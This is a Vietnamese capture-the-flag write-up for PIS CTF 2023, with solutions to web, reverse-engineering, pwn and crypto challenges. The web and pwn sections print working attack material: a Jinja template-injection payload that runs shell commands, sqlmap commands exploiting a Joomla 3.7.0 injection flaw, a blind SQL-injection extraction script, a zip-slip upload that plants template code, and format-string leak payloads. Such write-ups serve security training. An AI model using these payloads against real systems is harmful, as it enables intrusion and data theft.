# PIS CTF 2023 # WEB >[Super Hero] - Trang web có 1 chỗ nhận input và sau khi xem qua một lượt thì server dùng python => ssti, thử qua payload và thành công đọc flag Payload: ```python= http://54.169.55.172:8089/?user={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag.txt%27).read()}} ``` ![](https://i.imgur.com/Vc4pQZt.png) *** >[Chôm la] - Trang web khi giải đang chạy thì mở vào là thấy joomla 3.7.0 searcrh google thì ra cve, nên chạy sqlmap là ra flag ``` sqlmap "http://54.169.55.172:8000/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D flag -T flag -C flag --dump ``` - Ra flag dưới dạng base64 sau đấy decode ta có flag: ``` echo UElTQ1RGe1BIUF9KMDBtbGFfM183XzBfIV9DVkV9 | base64 -d PISCTF{PHP_J00mla_3_7_0_!_CVE} ``` >[sql-routed ] - Trang web mở ra thì thấy rõ bị lỗi sql injection, sau khi test thì thấy có thể sql blind - Dùng script sau để đump tên db->table->column->flag: ```python= import requests from string import digits,ascii_letters headers={"Content-Type" : "application/x-www-form-urlencoded"} url = "http://54.169.55.172:1001" pos = 1 exfil = "" printable = "," + digits + ascii_letters + "!@#$%^&*()_+=-/><\\'\"" column = "pass" table = "flag" while(True): for i in printable: data = f'username=\'UNION SELECT IF(ascii(substring(group_concat({column}),{pos},1)) = {str(ord(i))},sleep(3),\'a\'),2,3,4 FROM {table} LIMIT 1,2-- -' r = requests.post(url=url,data=data,headers=headers) if r.elapsed.total_seconds() > 3: exfil += i pos += 1 print(exfil) break if i == '"': exit() ``` FLAG: PISCTF{qs89QdAs9A} > [Blog for "LoveSicker"] Trang web bị lỗi sql injection tại tính năng đăng ký ![](https://i.imgur.com/AOyBg6v.png) Dùng sqlmap để dump databse name và table ```python3 sqlmap.py -r request.txt -p username2 --dump``` ![](https://i.imgur.com/hmtJvwW.png) Tiếp tục dùng sqlmap để dump flag ```python3 sqlmap.py -r request.txt -p username2 -D blog -T flag -C fl4gg --dump``` ![](https://i.imgur.com/zUAcSFS.png) FLAG: PISCTF{SQLi_1s_3asy_R1ght?} > PIS Firmware Bài bị zipslip tại tính năng upload firmware Dùng evilarc để tạo file exploit lỗi zipslip ``` python2 evilarc.py index.html -f exploit.tar.gz -o unix -p app/application/templates ``` Ghi đè file /templates/index.html với nội dung ``` <!DOCTYPE html> <html> <head> <!-- head definitions go here --> </head> <body> <h1>{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat flag").read()}}{%endif%}{% endfor %}</h1> </body> </html> ``` ![](https://i.imgur.com/nIt6akz.png) FLAG: PISCTF{p1s_f1rmvv@r3_7l@g} *** # REVERSE >[SoEz] - Decompile cái file và rename các biến thì ta biết được chương trình đọc flag vào biến flag_buf và đọc 16 giá trị vào biến rand_buf lấy từ rand() với srand(time(0)): ![](https://i.imgur.com/YruZ9AP.png) ![](https://i.imgur.com/CSxs3pX.png) - Sau khi đọc xong 2 biến thì chương trình thực hiện xor từng byte một. Ý tưởng ở đây là vì chương trình 32 bit nên giá trị trả về của time(0) sẽ là một số 32 bit. Do đó ta hoàn toàn có thể bruteforce giá trị này để tìm được lại các giá trị của rand_buf. Để biết được liệu rand_buf là đúng chưa thì ta xor thử 4 byte đầu của rand_buf với encrypted flag_buf nếu ra giống 4 byte đầu của định dạng file png thì là key cần tìm. Ta có script bruteforce như sau: ```c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main() { unsigned long int seed = 0; unsigned char randkey[16]; int fd; unsigned char cipher[16]; unsigned char plain[16]; unsigned char origin[16]; origin[0] = 0x89; origin[1] = 0x50; origin[2] = 0x4e; origin[3] = 0x47; fd = open("flag.png.encrypted", 0, 0); if (fd < 0) { puts("Cannot open file!"); exit(-1); } read(fd, cipher, 16); close(fd); while (1) { srand(seed); for (int i = 0; i<16; i++) randkey[i] = rand() % 255; for (int i = 0; i<16; i++) plain[i] = cipher[i] ^ randkey[i]; if (!strncmp(plain, origin, 4)) { for (int i = 0; i<16; i++) printf("%02x", randkey[i]); puts(""); exit(0); } seed++; } return 0; } ``` - Và ta brute được key là giá trị đã chuyển về chuỗi hex `f3e38606e72186d3aee2027f0e5e174f`. Do đó ta viết script python để xor lại về file flag: ```python from pwn import * from binascii import unhexlify key = unhexlify(b'f3e38606e72186d3aee2027f0e5e174f') plain = b'' with open('flag.png.encrypted', 'rb') as f: cipher = f.read() for i in range(len(cipher)): plain += p8(cipher[i] ^ key[i % 16]) with open("flag.png", 'wb') as f: f.write(plain) ``` - Và ta ra được flag: ![](https://i.imgur.com/K51x2vK.png) *** >[Lucky Money] - Với bài này, ta nhập vào 1 chuỗi có độ dài 32 byte và sau đó, chương trình sẽ tách chuỗi này ra làm 2 nửa với mỗi nửa 16 byte. Nửa đầu sẽ được giữ nguyên nhưng nửa sau sẽ bị đảo lại và sẽ chèn vào các byte nửa đầu như sau: ``` nửa đầu: 12345678 nửa sau: abcdefgh đảo ngược nửa sau: hgfedcba chèn nửa sau vào nửa đầu: nửa đầu: 1 2 3 4 5 6 7 8 nửa sau: h g f e d c b a kết quả: 1h2g3f4e5d6c7b8a ``` - Sau khi đã hoán đổi vị trí xong, nó sẽ lấy chuỗi đó xor từng byte với byte 0x17: ![](https://i.imgur.com/sLc6QsB.png) ![](https://i.imgur.com/pmRLVXq.png) - Sau đó nó kiểm tra nếu các byte bằng biến check thì thông báo chính xác: ![](https://i.imgur.com/zLqI0pw.png) - Vậy ý tưởng sẽ là lấy biến check xor từng byte với 0x17 và rồi từ cái chuỗi đã hoán vị, ta sẽ dùng hàm sau để lấy lại thứ tự ban đầu: ```python def decrypt(inp): part1 = '' part2 = '' count = 0 while count < 32: if count %2 == 0: part1 += inp[count] else: part2 += inp[count] count += 1 return part1 + part2[::-1] ``` - Vậy script giải là: ```python from pwn import * def decrypt(inp): part1 = '' part2 = '' count = 0 while count < 32: if count %2 == 0: part1 += inp[count] else: part2 += inp[count] count += 1 return part1 + part2[::-1] arr = b'Gj^(DNTrCyQ\x27lZSHxNH|NT\x27bb[HH`C#y' arr = xor(arr, 0x17).decode() print(decrypt(arr)) ``` # GoodLuck Bài này tác giả cho hint là "PE file" thì mình check lại offset trỏ đến IMAGE_FILE_HEADER bị thiếu signature 'PE' sau khi thêm vào thì load vào IDA bình thường. ![](https://i.imgur.com/svup810.png) Bài này sử dụng `RC4` để mã hóa Flag và dùng `RSA` để mã hóa key ![](https://i.imgur.com/jIeeNxv.png) Sau khi dùng những data từ tác giả cho để phục hồi key và flag: ``` # recover key d = 15773 v9 = [17103,18319,8970,8433,5203,8970,11112,5203,5203,3531] mod = 20711 for i in v9: print(chr(pow(i, d, mod)),end = "") print() # recover flag from arc4 import ARC4 enc = [89,168,32,137,88,112,75,103,117,43,211,139,93,154,163,66,212,153,139,211,133,210,107,159,250,164,123,36,201,20,149,139,220] arc4 = ARC4(b'4m_s0_p00r') print(arc4.decrypt(bytes(enc))) ``` * Flag: PISCTF{gjmm3_m0n3y_4nd_u_d0n3_:3} *** # PWN >[Level1] ![](https://i.imgur.com/RFYGJDD.png) - kiểm tra các lớp bảo vệ ![](https://i.imgur.com/Bx14w87.png) - điều mình cần khai thác nằm ở biến **something** - ngay bên dưới có hàm so sánh **strncmp** giữa biến **something** và **source** - check **source** thử thì ta nhận được: ![](https://i.imgur.com/Apr0qlH.png) > '>R!+Q.VEHr' - và lệnh **xor** giữa **something** và **source** sẽ ra flag cho mình - mở python và tìm byte xor giữa 'IamHaCer!!' và '>R!+Q.VEHr' ![](https://i.imgur.com/iyaGjFm.png) > w3Lc0m37iS - vậy thì cái script mình sẽ gửi full byte của **name**, rồi chèn cái dữ liệu của mình vào biến **something** - viết script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./level1',checksec=False) p = remote ('54.169.55.172',1024) p.sendlineafter(b'name: ', b'A'*40) payload = 'w3Lc0m37iS' p.sendafter(b':))))',payload) p.interactive() ``` ![](https://i.imgur.com/bD1n92R.png) - submit flag.... > PISCTF{My_M1nd_50_3z_RI9ht_?} *** >[Level2] ![](https://i.imgur.com/xAPeHDd.png) - mô phỏng lại phép xor của chương trình ```python def xor(val, key): payload = b'' for i in range(0, len(key)): payload += chr( val[i] ^ key[i] ).encode() return payload ``` - tạo payload với 'IamHaCer!!' để thực thi read flag ```python payload = xor(b'>R!+Q.VEHr', b'IamHaCer!!') ``` - do flag được ghi trên stack, tận dụng bug fmt %x tại name để leak flag ra ```python name = b'%12$x_%13$x_%14$x_%15$x' name = b'%16$x_%17$x' ``` - convert từ hex sang ascii ta có được flag *** # CRYPTO >[Easy Crypto] - Đề bài cho: ```56369025297691660392004556373781623445966955195801799383478576454199136227591253023415024495794577295554691617060609433091389``` - Rất đơn giản ta chỉ việc chuyển sang dạng bytes được dạng base64 và decode chúng là ta có flag: ```python from Crypto.Util.number import * import base64 a=56369025297691660392004556373781623445966955195801799383478576454199136227591253023415024495794577295554691617060609433091389 b=(long_to_bytes(a)) # dãy base64 #b'UElTQ1RGe1RoMXNfMXNfNF9tM3NTQGczX0ZyMG1fQ3JZcHQwfQ==' print(base64.b64decode(b)) ``` - Ta được flag >PISCTF{Th1s_1s_4_m3sS@g3_Fr0m_CrYpt0} *** >[Just For Fun] - Dựa vào phần mô tả nhắc đến "vũ điệu lắc hông" và source đã cho mình đoán đến Monoalphabetic substitution cipher. - Mình cho phần ciphertext vào tool https://www.boxentriq.com/code-breaking/cryptogram để giải thì thấy được một chữ khá giống *alphabetic* như dưới hình ![](https://i.imgur.com/Mw0EVhG.png) - Mình đoán ngay là chữ đằng sau là *alphabetic* ![](https://i.imgur.com/DREZVU8.png) - Mình có được flag: **PISCTF{have_fun_with_mono_alphabetic}** ![](https://i.imgur.com/bKxjeJv.png)